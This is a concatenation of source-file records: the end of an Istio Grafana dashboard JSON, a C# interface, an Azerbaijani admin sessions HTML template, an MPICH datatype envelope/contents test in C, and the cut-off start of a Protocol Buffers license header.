\"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"sum(rate(sidecar_injection_success_total[1m]))\",\n \"interval\": \"\",\n \"legendFormat\": \"Injections (Success)\",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"sum(rate(sidecar_injection_failure_total[1m]))\",\n \"interval\": \"\",\n \"legendFormat\": \"Injections (Failure)\",\n \"refId\": \"B\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Sidecar Injection\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n }\n ],\n \"refresh\": \"5s\",\n \"schemaVersion\": 18,\n \"style\": \"dark\",\n \"tags\": [],\n \"templating\": {\n \"list\": [\n {\n \"current\": {\n \"selected\": true,\n \"text\": \"default\",\n \"value\": \"default\"\n },\n \"hide\": 0,\n \"includeAll\": false,\n \"label\": null,\n \"multi\": false,\n \"name\": \"datasource\",\n \"options\": [],\n \"query\": \"prometheus\",\n \"queryValue\": \"\",\n \"refresh\": 1,\n \"regex\": \"\",\n \"skipUrlSync\": false,\n \"type\": \"datasource\"\n }\n ]\n },\n \"time\": {\n \"from\": \"now-5m\",\n \"to\": \"now\"\n },\n \"timepicker\": {\n \"refresh_intervals\": [\n \"5s\",\n \"10s\",\n \"30s\",\n \"1m\",\n \"5m\",\n \"15m\",\n \"30m\",\n \"1h\",\n \"2h\",\n \"1d\"\n ],\n \"time_options\": [\n \"5m\",\n \"15m\",\n \"1h\",\n \"6h\",\n \"12h\",\n \"24h\",\n \"2d\",\n \"7d\",\n \"30d\"\n ]\n },\n \"timezone\": \"browser\",\n \"title\": \"Istio Control Plane Dashboard\",\n \"uid\": \"3--MLVZZk\",\n \"version\": 11\n}\n"} {"text": "using System.Collections.Immutable;\nusing System.Reflection;\nusing ExtendedXmlSerializer.Core.Sources;\n\nnamespace ExtendedXmlSerializer.ReflectionModel\n{\n\tinterface ITypePartitions : IParameterizedSource<TypePartition, ImmutableArray<TypeInfo>?> {}\n}"} {"text": "<!DOCTYPE html>\n<html lang=\"en\" data-navbar=\"/administrator/navbar.html\">\n<head>\n <meta charset=\"utf-8\" /> \n <title translate=\"yes\">İclaslar</title>\n <link href=\"/public/pure-min.css\" rel=\"stylesheet\">\n <link href=\"/public/content.css\" rel=\"stylesheet\">\n <link href=\"/public/content-additional.css\" rel=\"stylesheet\">\n <base target=\"_top\" href=\"/\">\n</head>\n<body>\n <h1 translate=\"yes\">İclaslar</h1>\n <p translate=\"yes\">Bunlar hər istifadəçi daxil olduqda yaradılır.</p>\n <div id=\"message-container\"></div>\n <div id=\"no-sessions\">\n <p translate=\"yes\">Hələ iclaslar yoxdur.</p>\n </div>\n <table id=\"sessions-table\" class=\"pure-table pure-table-striped list-table\">\n <thead>\n <tr>\n <th>ID</th>\n <th translate=\"yes\">Hesab</th>\n <th translate=\"yes\">Adı</th>\n <th translate=\"yes\">Elektron poçt</th>\n <th translate=\"yes\">Yaradilib</th>\n <th translate=\"yes\">Bitir</th>\n </tr>\n </thead>\n </table>\n <ul id=\"page-links\" class=\"pagination\"></ul>\n <template id=\"page-link\">\n <li>\n <a href=\"/administrator/sessions?offset=${page.offset}\" id=\"page-link-${page.pageNumber}\">${page.pageNumber}</a>\n </li>\n </template>\n <template id=\"session-row\">\n <tr id=\"${session.sessionid}\">\n <td>\n <a href=\"/administrator/session?sessionid=${session.sessionid}\">${session.sessionid}</a>\n </td>\n <td>\n <a href=\"/administrator/account?accountid=${session.accountid}\">${session.accountid}</a>\n </td>\n <td>${session.firstName} ${session.lastName}</td>\n <td>\n <a href=\"mailto:${session.email}\">${session.email}</a>\n </td>\n <td>${session.createdFormatted}</td>\n <td>${session.expiresFormatted}</td>\n </tr>\n </template>\n</body>\n</html>\n"} {"text": "/*\n * Copyright (C) by Argonne National Laboratory\n * See COPYRIGHT in top-level directory\n */\n\n#include \"mpi.h\"\n#include \"mpitestconf.h\"\n#ifdef HAVE_UNISTD_H\n#include <unistd.h>\n#endif\n#include <stdio.h>\n#include <stdlib.h>\n#include \"mpitest.h\"\n\nstatic int verbose = 0;\n\n/* tests */\nint builtin_float_test(void);\nint vector_of_vectors_test(void);\nint optimizable_vector_of_basics_test(void);\nint indexed_of_basics_test(void);\nint indexed_of_vectors_test(void);\nint struct_of_basics_test(void);\n\n/* helper functions */\nchar *combiner_to_string(int combiner);\nint parse_args(int argc, char **argv);\n\nint main(int argc, char **argv)\n{\n int err, errs = 0;\n\n MTest_Init(&argc, &argv);\n parse_args(argc, argv);\n\n /* To improve reporting of problems about operations, we\n * change the error handler to errors return */\n MPI_Comm_set_errhandler(MPI_COMM_WORLD, MPI_ERRORS_RETURN);\n\n /* perform some tests */\n err = builtin_float_test();\n errs += err;\n if (err) {\n fprintf(stderr, \"Found %d errors in builtin float test.\\n\", err);\n }\n\n err = vector_of_vectors_test();\n errs += err;\n if (err) {\n fprintf(stderr, \"Found %d errors in vector of vectors test.\\n\", err);\n }\n\n err = optimizable_vector_of_basics_test();\n errs += err;\n if (err) {\n fprintf(stderr, \"Found %d errors in vector of basics test.\\n\", err);\n }\n\n err = indexed_of_basics_test();\n errs += err;\n if (err) {\n fprintf(stderr, \"Found %d errors in indexed of basics test.\\n\", err);\n }\n\n err = indexed_of_vectors_test();\n errs += err;\n if (err) {\n fprintf(stderr, \"Found %d errors in indexed of vectors test.\\n\", err);\n }\n#ifdef HAVE_MPI_TYPE_CREATE_STRUCT\n err = struct_of_basics_test();\n errs += err;\n#endif\n\n MTest_Finalize(errs);\n return MTestReturnValue(errs);\n}\n\n/* builtin_float_test()\n *\n * Tests functionality of get_envelope() and get_contents() on a MPI_FLOAT.\n *\n * Returns the number of errors encountered.\n */\nint builtin_float_test(void)\n{\n int nints, nadds, ntypes, combiner;\n\n int err, errs = 0;\n\n err = MPI_Type_get_envelope(MPI_FLOAT, &nints, &nadds, &ntypes, &combiner);\n\n if (combiner != MPI_COMBINER_NAMED)\n errs++;\n if (verbose && combiner != MPI_COMBINER_NAMED)\n fprintf(stderr, \"combiner = %s; should be named\\n\", combiner_to_string(combiner));\n\n /* Note: it is erroneous to call MPI_Type_get_contents() on a basic. */\n return errs;\n}\n\n/* vector_of_vectors_test()\n *\n * Builds a vector of a vector of ints. Assuming an int array of size 9\n * integers, and treating the array as a 3x3 2D array, this will grab the\n * corners.\n *\n * Returns the number of errors encountered.\n */\nint vector_of_vectors_test(void)\n{\n MPI_Datatype inner_vector, inner_vector_copy;\n MPI_Datatype outer_vector;\n\n int nints, nadds, ntypes, combiner, *ints;\n MPI_Aint *adds = NULL;\n MPI_Datatype *types;\n\n int err, errs = 0;\n\n /* set up type */\n err = MPI_Type_vector(2, 1, 2, MPI_INT, &inner_vector);\n if (err != MPI_SUCCESS) {\n if (verbose)\n fprintf(stderr, \"error in MPI call; aborting after %d errors\\n\", errs + 1);\n return errs + 1;\n }\n\n err = MPI_Type_vector(2, 1, 2, inner_vector, &outer_vector);\n if (err != MPI_SUCCESS) {\n if (verbose)\n fprintf(stderr, \"error in MPI call; aborting after %d errors\\n\", errs + 1);\n return errs + 1;\n }\n\n /* decode outer vector (get envelope, then contents) */\n err = MPI_Type_get_envelope(outer_vector, &nints, &nadds, &ntypes, &combiner);\n if (err != MPI_SUCCESS) {\n if (verbose)\n fprintf(stderr, \"error in MPI call; aborting after %d errors\\n\", errs + 1);\n return errs + 1;\n }\n\n if (nints != 3)\n errs++;\n if (nadds != 0)\n errs++;\n if (ntypes != 1)\n errs++;\n if (combiner != MPI_COMBINER_VECTOR)\n errs++;\n\n if (verbose) {\n if (nints != 3)\n fprintf(stderr, \"outer vector nints = %d; should be 3\\n\", nints);\n if (nadds != 0)\n fprintf(stderr, \"outer vector nadds = %d; should be 0\\n\", nadds);\n if (ntypes != 1)\n fprintf(stderr, \"outer vector ntypes = %d; should be 1\\n\", ntypes);\n if (combiner != MPI_COMBINER_VECTOR)\n fprintf(stderr, \"outer vector combiner = %s; should be vector\\n\",\n combiner_to_string(combiner));\n }\n if (errs) {\n if (verbose)\n fprintf(stderr, \"aborting after %d errors\\n\", errs);\n return errs;\n }\n\n ints = malloc(nints * sizeof(*ints));\n if (nadds)\n adds = malloc(nadds * sizeof(*adds));\n types = malloc(ntypes * sizeof(*types));\n\n /* get contents of outer vector */\n err = MPI_Type_get_contents(outer_vector, nints, nadds, ntypes, ints, adds, types);\n\n if (ints[0] != 2)\n errs++;\n if (ints[1] != 1)\n errs++;\n if (ints[2] != 2)\n errs++;\n\n if (verbose) {\n if (ints[0] != 2)\n fprintf(stderr, \"outer vector count = %d; should be 2\\n\", ints[0]);\n if (ints[1] != 1)\n fprintf(stderr, \"outer vector blocklength = %d; should be 1\\n\", ints[1]);\n if (ints[2] != 2)\n fprintf(stderr, \"outer vector stride = %d; should be 2\\n\", ints[2]);\n }\n if (errs) {\n if (verbose)\n fprintf(stderr, \"aborting after %d errors\\n\", errs);\n return errs;\n }\n\n inner_vector_copy = types[0];\n free(ints);\n if (nadds)\n free(adds);\n free(types);\n\n /* decode inner vector */\n err = MPI_Type_get_envelope(inner_vector_copy, &nints, &nadds, &ntypes, &combiner);\n if (err != MPI_SUCCESS) {\n if (verbose)\n fprintf(stderr, \"error in MPI call; aborting after %d errors\\n\", errs + 1);\n return errs + 1;\n }\n\n if (nints != 3)\n errs++;\n if (nadds != 0)\n errs++;\n if (ntypes != 1)\n errs++;\n if (combiner != MPI_COMBINER_VECTOR)\n errs++;\n\n if (verbose) {\n if (nints != 3)\n fprintf(stderr, \"inner vector nints = %d; should be 3\\n\", nints);\n if (nadds != 0)\n fprintf(stderr, \"inner vector nadds = %d; should be 0\\n\", nadds);\n if (ntypes != 1)\n fprintf(stderr, \"inner vector ntypes = %d; should be 1\\n\", ntypes);\n if (combiner != MPI_COMBINER_VECTOR)\n fprintf(stderr, \"inner vector combiner = %s; should be vector\\n\",\n combiner_to_string(combiner));\n }\n if (errs) {\n if (verbose)\n fprintf(stderr, \"aborting after %d errors\\n\", errs);\n return errs;\n }\n\n ints = malloc(nints * sizeof(*ints));\n if (nadds)\n adds = malloc(nadds * sizeof(*adds));\n types = malloc(ntypes * sizeof(*types));\n\n err = MPI_Type_get_contents(inner_vector_copy, nints, nadds, ntypes, ints, adds, types);\n\n if (ints[0] != 2)\n errs++;\n if (ints[1] != 1)\n errs++;\n if (ints[2] != 2)\n errs++;\n\n if (verbose) {\n if (ints[0] != 2)\n fprintf(stderr, \"inner vector count = %d; should be 2\\n\", ints[0]);\n if (ints[1] != 1)\n fprintf(stderr, \"inner vector blocklength = %d; should be 1\\n\", ints[1]);\n if (ints[2] != 2)\n fprintf(stderr, \"inner vector stride = %d; should be 2\\n\", ints[2]);\n }\n if (errs) {\n if (verbose)\n fprintf(stderr, \"aborting after %d errors\\n\", errs);\n return errs;\n }\n\n free(ints);\n if (nadds)\n free(adds);\n free(types);\n\n MPI_Type_free(&inner_vector_copy);\n MPI_Type_free(&inner_vector);\n MPI_Type_free(&outer_vector);\n\n return MTestReturnValue(errs);\n}\n\n/* optimizable_vector_of_basics_test()\n *\n * Builds a vector of ints. Count is 10, blocksize is 2, stride is 2, so this\n * is equivalent to a contig of 20. But remember...we should get back our\n * suboptimal values under MPI-2.\n *\n * Returns the number of errors encountered.\n */\nint optimizable_vector_of_basics_test(void)\n{\n MPI_Datatype parent_type;\n\n int nints, nadds, ntypes, combiner, *ints;\n MPI_Aint *adds = NULL;\n MPI_Datatype *types;\n\n int err, errs = 0;\n\n /* set up type */\n err = MPI_Type_vector(10, 2, 2, MPI_INT, &parent_type);\n\n /* decode */\n err = MPI_Type_get_envelope(parent_type, &nints, &nadds, &ntypes, &combiner);\n\n if (nints != 3)\n errs++;\n if (nadds != 0)\n errs++;\n if (ntypes != 1)\n errs++;\n if (combiner != MPI_COMBINER_VECTOR)\n errs++;\n\n if (verbose) {\n if (nints != 3)\n fprintf(stderr, \"nints = %d; should be 3\\n\", nints);\n if (nadds != 0)\n fprintf(stderr, \"nadds = %d; should be 0\\n\", nadds);\n if (ntypes != 1)\n fprintf(stderr, \"ntypes = %d; should be 1\\n\", ntypes);\n if (combiner != MPI_COMBINER_VECTOR)\n fprintf(stderr, \"combiner = %s; should be vector\\n\", combiner_to_string(combiner));\n }\n\n ints = malloc(nints * sizeof(*ints));\n if (nadds)\n adds = malloc(nadds * sizeof(*adds));\n types = malloc(ntypes * sizeof(*types));\n\n err = MPI_Type_get_contents(parent_type, nints, nadds, ntypes, ints, adds, types);\n\n if (ints[0] != 10)\n errs++;\n if (ints[1] != 2)\n errs++;\n if (ints[2] != 2)\n errs++;\n if (types[0] != MPI_INT)\n errs++;\n\n if (verbose) {\n if (ints[0] != 10)\n fprintf(stderr, \"count = %d; should be 10\\n\", ints[0]);\n if (ints[1] != 2)\n fprintf(stderr, \"blocklength = %d; should be 2\\n\", ints[1]);\n if (ints[2] != 2)\n fprintf(stderr, \"stride = %d; should be 2\\n\", ints[2]);\n if (types[0] != MPI_INT)\n fprintf(stderr, \"type is not MPI_INT\\n\");\n }\n\n free(ints);\n if (nadds)\n free(adds);\n free(types);\n\n MPI_Type_free(&parent_type);\n\n return errs;\n}\n\n\n/* indexed_of_basics_test(void)\n *\n * Simple indexed type.\n *\n * Returns number of errors encountered.\n */\nint indexed_of_basics_test(void)\n{\n MPI_Datatype parent_type;\n int s_count = 3, s_blocklengths[3] = { 3, 2, 1 };\n int s_displacements[3] = { 10, 20, 30 };\n\n int nints, nadds, ntypes, combiner, *ints;\n MPI_Aint *adds = NULL;\n MPI_Datatype *types;\n\n int err, errs = 0;\n\n /* set up type */\n err = MPI_Type_indexed(s_count, s_blocklengths, s_displacements, MPI_INT, &parent_type);\n\n /* decode */\n err = MPI_Type_get_envelope(parent_type, &nints, &nadds, &ntypes, &combiner);\n\n if (nints != 7)\n errs++;\n if (nadds != 0)\n errs++;\n if (ntypes != 1)\n errs++;\n if (combiner != MPI_COMBINER_INDEXED)\n errs++;\n\n if (verbose) {\n if (nints != 7)\n fprintf(stderr, \"nints = %d; should be 7\\n\", nints);\n if (nadds != 0)\n fprintf(stderr, \"nadds = %d; should be 0\\n\", nadds);\n if (ntypes != 1)\n fprintf(stderr, \"ntypes = %d; should be 1\\n\", ntypes);\n if (combiner != MPI_COMBINER_INDEXED)\n fprintf(stderr, \"combiner = %s; should be indexed\\n\", combiner_to_string(combiner));\n }\n\n ints = malloc(nints * sizeof(*ints));\n if (nadds)\n adds = malloc(nadds * sizeof(*adds));\n types = malloc(ntypes * sizeof(*types));\n\n err = MPI_Type_get_contents(parent_type, nints, nadds, ntypes, ints, adds, types);\n\n if (ints[0] != s_count)\n errs++;\n if (ints[1] != s_blocklengths[0])\n errs++;\n if (ints[2] != s_blocklengths[1])\n errs++;\n if (ints[3] != s_blocklengths[2])\n errs++;\n if (ints[4] != s_displacements[0])\n errs++;\n if (ints[5] != s_displacements[1])\n errs++;\n if (ints[6] != s_displacements[2])\n errs++;\n if (types[0] != MPI_INT)\n errs++;\n\n if (verbose) {\n if (ints[0] != s_count)\n fprintf(stderr, \"count = %d; should be %d\\n\", ints[0], s_count);\n if (ints[1] != s_blocklengths[0])\n fprintf(stderr, \"blocklength[0] = %d; should be %d\\n\", ints[1], s_blocklengths[0]);\n if (ints[2] != s_blocklengths[1])\n fprintf(stderr, \"blocklength[1] = %d; should be %d\\n\", ints[2], s_blocklengths[1]);\n if (ints[3] != s_blocklengths[2])\n fprintf(stderr, \"blocklength[2] = %d; should be %d\\n\", ints[3], s_blocklengths[2]);\n if (ints[4] != s_displacements[0])\n fprintf(stderr, \"displacement[0] = %d; should be %d\\n\", ints[4], s_displacements[0]);\n if (ints[5] != s_displacements[1])\n fprintf(stderr, \"displacement[1] = %d; should be %d\\n\", ints[5], s_displacements[1]);\n if (ints[6] != s_displacements[2])\n fprintf(stderr, \"displacement[2] = %d; should be %d\\n\", ints[6], s_displacements[2]);\n if (types[0] != MPI_INT)\n fprintf(stderr, \"type[0] does not match\\n\");\n }\n\n free(ints);\n if (nadds)\n free(adds);\n free(types);\n\n MPI_Type_free(&parent_type);\n return errs;\n}\n\n/* indexed_of_vectors_test()\n *\n * Builds an indexed type of vectors of ints.\n *\n * Returns the number of errors encountered.\n */\nint indexed_of_vectors_test(void)\n{\n MPI_Datatype inner_vector, inner_vector_copy;\n MPI_Datatype outer_indexed;\n\n int i_count = 3, i_blocklengths[3] = { 3, 2, 1 };\n int i_displacements[3] = { 10, 20, 30 };\n\n int nints, nadds, ntypes, combiner, *ints;\n MPI_Aint *adds = NULL;\n MPI_Datatype *types;\n\n int err, errs = 0;\n\n /* set up type */\n err = MPI_Type_vector(2, 1, 2, MPI_INT, &inner_vector);\n if (err != MPI_SUCCESS) {\n if (verbose)\n fprintf(stderr, \"error in MPI call; aborting after %d errors\\n\", errs + 1);\n return errs + 1;\n }\n\n err = MPI_Type_indexed(i_count, i_blocklengths, i_displacements, inner_vector, &outer_indexed);\n if (err != MPI_SUCCESS) {\n if (verbose)\n fprintf(stderr, \"error in MPI call; aborting after %d errors\\n\", errs + 1);\n return errs + 1;\n }\n\n /* decode outer vector (get envelope, then contents) */\n err = MPI_Type_get_envelope(outer_indexed, &nints, &nadds, &ntypes, &combiner);\n if (err != MPI_SUCCESS) {\n if (verbose)\n fprintf(stderr, \"error in MPI call; aborting after %d errors\\n\", errs + 1);\n return errs + 1;\n }\n\n if (nints != 7)\n errs++;\n if (nadds != 0)\n errs++;\n if (ntypes != 1)\n errs++;\n if (combiner != MPI_COMBINER_INDEXED)\n errs++;\n\n if (verbose) {\n if (nints != 7)\n fprintf(stderr, \"nints = %d; should be 7\\n\", nints);\n if (nadds != 0)\n fprintf(stderr, \"nadds = %d; should be 0\\n\", nadds);\n if (ntypes != 1)\n fprintf(stderr, \"ntypes = %d; should be 1\\n\", ntypes);\n if (combiner != MPI_COMBINER_INDEXED)\n fprintf(stderr, \"combiner = %s; should be indexed\\n\", combiner_to_string(combiner));\n }\n\n if (errs) {\n if (verbose)\n fprintf(stderr, \"aborting after %d errors\\n\", errs);\n return errs;\n }\n\n ints = malloc(nints * sizeof(*ints));\n if (nadds)\n adds = malloc(nadds * sizeof(*adds));\n types = malloc(ntypes * sizeof(*types));\n\n /* get contents of outer vector */\n err = MPI_Type_get_contents(outer_indexed, nints, nadds, ntypes, ints, adds, types);\n\n if (ints[0] != i_count)\n errs++;\n if (ints[1] != i_blocklengths[0])\n errs++;\n if (ints[2] != i_blocklengths[1])\n errs++;\n if (ints[3] != i_blocklengths[2])\n errs++;\n if (ints[4] != i_displacements[0])\n errs++;\n if (ints[5] != i_displacements[1])\n errs++;\n if (ints[6] != i_displacements[2])\n errs++;\n\n if (verbose) {\n if (ints[0] != i_count)\n fprintf(stderr, \"count = %d; should be %d\\n\", ints[0], i_count);\n if (ints[1] != i_blocklengths[0])\n fprintf(stderr, \"blocklength[0] = %d; should be %d\\n\", ints[1], i_blocklengths[0]);\n if (ints[2] != i_blocklengths[1])\n fprintf(stderr, \"blocklength[1] = %d; should be %d\\n\", ints[2], i_blocklengths[1]);\n if (ints[3] != i_blocklengths[2])\n fprintf(stderr, \"blocklength[2] = %d; should be %d\\n\", ints[3], i_blocklengths[2]);\n if (ints[4] != i_displacements[0])\n fprintf(stderr, \"displacement[0] = %d; should be %d\\n\", ints[4], i_displacements[0]);\n if (ints[5] != i_displacements[1])\n fprintf(stderr, \"displacement[1] = %d; should be %d\\n\", ints[5], i_displacements[1]);\n if (ints[6] != i_displacements[2])\n fprintf(stderr, \"displacement[2] = %d; should be %d\\n\", ints[6], i_displacements[2]);\n }\n\n if (errs) {\n if (verbose)\n fprintf(stderr, \"aborting after %d errors\\n\", errs);\n return errs;\n }\n\n inner_vector_copy = types[0];\n free(ints);\n if (nadds)\n free(adds);\n free(types);\n\n /* decode inner vector */\n err = MPI_Type_get_envelope(inner_vector_copy, &nints, &nadds, &ntypes, &combiner);\n if (err != MPI_SUCCESS) {\n if (verbose)\n fprintf(stderr, \"error in MPI call; aborting after %d errors\\n\", errs + 1);\n return errs + 1;\n }\n\n if (nints != 3)\n errs++;\n if (nadds != 0)\n errs++;\n if (ntypes != 1)\n errs++;\n if (combiner != MPI_COMBINER_VECTOR)\n errs++;\n\n if (verbose) {\n if (nints != 3)\n fprintf(stderr, \"inner vector nints = %d; should be 3\\n\", nints);\n if (nadds != 0)\n fprintf(stderr, \"inner vector nadds = %d; should be 0\\n\", nadds);\n if (ntypes != 1)\n fprintf(stderr, \"inner vector ntypes = %d; should be 1\\n\", ntypes);\n if (combiner != MPI_COMBINER_VECTOR)\n fprintf(stderr, \"inner vector combiner = %s; should be vector\\n\",\n combiner_to_string(combiner));\n }\n if (errs) {\n if (verbose)\n fprintf(stderr, \"aborting after %d errors\\n\", errs);\n return errs;\n }\n\n ints = malloc(nints * sizeof(*ints));\n if (nadds)\n adds = malloc(nadds * sizeof(*adds));\n types = malloc(ntypes * sizeof(*types));\n\n err = MPI_Type_get_contents(inner_vector_copy, nints, nadds, ntypes, ints, adds, types);\n\n if (ints[0] != 2)\n errs++;\n if (ints[1] != 1)\n errs++;\n if (ints[2] != 2)\n errs++;\n\n if (verbose) {\n if (ints[0] != 2)\n fprintf(stderr, \"inner vector count = %d; should be 2\\n\", ints[0]);\n if (ints[1] != 1)\n fprintf(stderr, \"inner vector blocklength = %d; should be 1\\n\", ints[1]);\n if (ints[2] != 2)\n fprintf(stderr, \"inner vector stride = %d; should be 2\\n\", ints[2]);\n }\n if (errs) {\n if (verbose)\n fprintf(stderr, \"aborting after %d errors\\n\", errs);\n return errs;\n }\n\n free(ints);\n if (nadds)\n free(adds);\n free(types);\n\n MPI_Type_free(&inner_vector_copy);\n MPI_Type_free(&inner_vector);\n MPI_Type_free(&outer_indexed);\n\n return MTestReturnValue(errs);\n}\n\n\n#ifdef HAVE_MPI_TYPE_CREATE_STRUCT\n/* struct_of_basics_test(void)\n *\n * There's nothing simple about structs :). Although this is an easy one.\n *\n * Returns number of errors encountered.\n *\n * NOT TESTED.\n */\nint struct_of_basics_test(void)\n{\n MPI_Datatype parent_type;\n int s_count = 3, s_blocklengths[3] = { 3, 2, 1 };\n MPI_Aint s_displacements[3] = { 10, 20, 30 };\n MPI_Datatype s_types[3] = { MPI_CHAR, MPI_INT, MPI_FLOAT };\n\n int nints, nadds, ntypes, combiner, *ints;\n MPI_Aint *adds = NULL;\n MPI_Datatype *types;\n\n int err, errs = 0;\n\n /* set up type */\n err = MPI_Type_create_struct(s_count, s_blocklengths, s_displacements, s_types, &parent_type);\n\n /* decode */\n err = MPI_Type_get_envelope(parent_type, &nints, &nadds, &ntypes, &combiner);\n\n if (nints != 4)\n errs++;\n if (nadds != 3)\n errs++;\n if (ntypes != 3)\n errs++;\n if (combiner != MPI_COMBINER_STRUCT)\n errs++;\n\n if (verbose) {\n if (nints != 4)\n fprintf(stderr, \"nints = %d; should be 3\\n\", nints);\n if (nadds != 3)\n fprintf(stderr, \"nadds = %d; should be 0\\n\", nadds);\n if (ntypes != 3)\n fprintf(stderr, \"ntypes = %d; should be 3\\n\", ntypes);\n if (combiner != MPI_COMBINER_STRUCT)\n fprintf(stderr, \"combiner = %s; should be struct\\n\", combiner_to_string(combiner));\n }\n\n ints = malloc(nints * sizeof(*ints));\n adds = malloc(nadds * sizeof(*adds));\n types = malloc(ntypes * sizeof(*types));\n\n err = MPI_Type_get_contents(parent_type, nints, nadds, ntypes, ints, adds, types);\n\n if (ints[0] != s_count)\n errs++;\n if (ints[1] != s_blocklengths[0])\n errs++;\n if (ints[2] != s_blocklengths[1])\n errs++;\n if (ints[3] != s_blocklengths[2])\n errs++;\n if (adds[0] != s_displacements[0])\n errs++;\n if (adds[1] != s_displacements[1])\n errs++;\n if (adds[2] != s_displacements[2])\n errs++;\n if (types[0] != s_types[0])\n errs++;\n if (types[1] != s_types[1])\n errs++;\n if (types[2] != s_types[2])\n errs++;\n\n if (verbose) {\n if (ints[0] != s_count)\n fprintf(stderr, \"count = %d; should be %d\\n\", ints[0], s_count);\n if (ints[1] != s_blocklengths[0])\n fprintf(stderr, \"blocklength[0] = %d; should be %d\\n\", ints[1], s_blocklengths[0]);\n if (ints[2] != s_blocklengths[1])\n fprintf(stderr, \"blocklength[1] = %d; should be %d\\n\", ints[2], s_blocklengths[1]);\n if (ints[3] != s_blocklengths[2])\n fprintf(stderr, \"blocklength[2] = %d; should be %d\\n\", ints[3], s_blocklengths[2]);\n if (adds[0] != s_displacements[0])\n fprintf(stderr, \"displacement[0] = %d; should be %d\\n\", adds[0], s_displacements[0]);\n if (adds[1] != s_displacements[1])\n fprintf(stderr, \"displacement[1] = %d; should be %d\\n\", adds[1], s_displacements[1]);\n if (adds[2] != s_displacements[2])\n fprintf(stderr, \"displacement[2] = %d; should be %d\\n\", adds[2], s_displacements[2]);\n if (types[0] != s_types[0])\n fprintf(stderr, \"type[0] does not match\\n\");\n if (types[1] != s_types[1])\n fprintf(stderr, \"type[1] does not match\\n\");\n if (types[2] != s_types[2])\n fprintf(stderr, \"type[2] does not match\\n\");\n }\n\n free(ints);\n free(adds);\n free(types);\n\n MPI_Type_free(&parent_type);\n\n return errs;\n}\n#endif\n\n/* combiner_to_string(combiner)\n *\n * Converts a numeric combiner into a pointer to a string used for printing.\n */\nchar *combiner_to_string(int combiner)\n{\n static char c_named[] = \"named\";\n static char c_contig[] = \"contig\";\n static char c_vector[] = \"vector\";\n static char c_hvector[] = \"hvector\";\n static char c_indexed[] = \"indexed\";\n static char c_hindexed[] = \"hindexed\";\n static char c_struct[] = \"struct\";\n#ifdef HAVE_MPI2_COMBINERS\n static char c_dup[] = \"dup\";\n static char c_hvector_integer[] = \"hvector_integer\";\n static char c_hindexed_integer[] = \"hindexed_integer\";\n static char c_indexed_block[] = \"indexed_block\";\n static char c_struct_integer[] = \"struct_integer\";\n static char c_subarray[] = \"subarray\";\n static char c_darray[] = \"darray\";\n static char c_f90_real[] = \"f90_real\";\n static char c_f90_complex[] = \"f90_complex\";\n static char c_f90_integer[] = \"f90_integer\";\n static char c_resized[] = \"resized\";\n#endif\n\n if (combiner == MPI_COMBINER_NAMED)\n return c_named;\n if (combiner == MPI_COMBINER_CONTIGUOUS)\n return c_contig;\n if (combiner == MPI_COMBINER_VECTOR)\n return c_vector;\n if (combiner == MPI_COMBINER_HVECTOR)\n return c_hvector;\n if (combiner == MPI_COMBINER_INDEXED)\n return c_indexed;\n if (combiner == MPI_COMBINER_HINDEXED)\n return c_hindexed;\n if (combiner == MPI_COMBINER_STRUCT)\n return c_struct;\n#ifdef HAVE_MPI2_COMBINERS\n if (combiner == MPI_COMBINER_DUP)\n return c_dup;\n if (combiner == MPI_COMBINER_HVECTOR_INTEGER)\n return c_hvector_integer;\n if (combiner == MPI_COMBINER_HINDEXED_INTEGER)\n return c_hindexed_integer;\n if (combiner == MPI_COMBINER_INDEXED_BLOCK)\n return c_indexed_block;\n if (combiner == MPI_COMBINER_STRUCT_INTEGER)\n return c_struct_integer;\n if (combiner == MPI_COMBINER_SUBARRAY)\n return c_subarray;\n if (combiner == MPI_COMBINER_DARRAY)\n return c_darray;\n if (combiner == MPI_COMBINER_F90_REAL)\n return c_f90_real;\n if (combiner == MPI_COMBINER_F90_COMPLEX)\n return c_f90_complex;\n if (combiner == MPI_COMBINER_F90_INTEGER)\n return c_f90_integer;\n if (combiner == MPI_COMBINER_RESIZED)\n return c_resized;\n#endif\n\n return NULL;\n}\n\nint parse_args(int argc, char **argv)\n{\n#ifdef HAVE_GET_OPT\n int ret;\n\n while ((ret = getopt(argc, argv, \"v\")) >= 0) {\n switch (ret) {\n case 'v':\n verbose = 1;\n break;\n }\n }\n#else\n#endif\n return 0;\n}\n"} {"text": "// Protocol Buffers - Google's data interchange format\n// Copyright 2008 Google Inc. All rights reserved.\n// https://developers.google.com/protocol-buffers/\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above\n// copyright notice, this list of conditions and the following disclaimer\n// in the documentation and/or other materials provided with the\n// distribution.\n// * Neither the name of Google Inc. nor the names of its\n// contributors may be used to endorse or promote products derived from\n// this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 